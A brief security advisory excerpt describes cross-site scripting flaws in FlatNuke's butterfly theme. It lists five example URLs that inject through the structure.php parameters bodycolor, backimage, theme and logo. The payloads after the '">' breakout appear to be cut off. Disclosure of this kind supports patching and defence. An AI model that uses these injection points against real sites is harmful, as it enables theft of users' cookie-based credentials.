source: https://www.securityfocus.com/bid/14483/info FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. http://[target]/[path]/themes/butterfly/structure.php?bodycolor="> http://[target]/[path]/themes/butterfly/structure.php?backimage="> http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="> http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="> http://[target]/[path]/themes/butterfly/structure.php?logo=">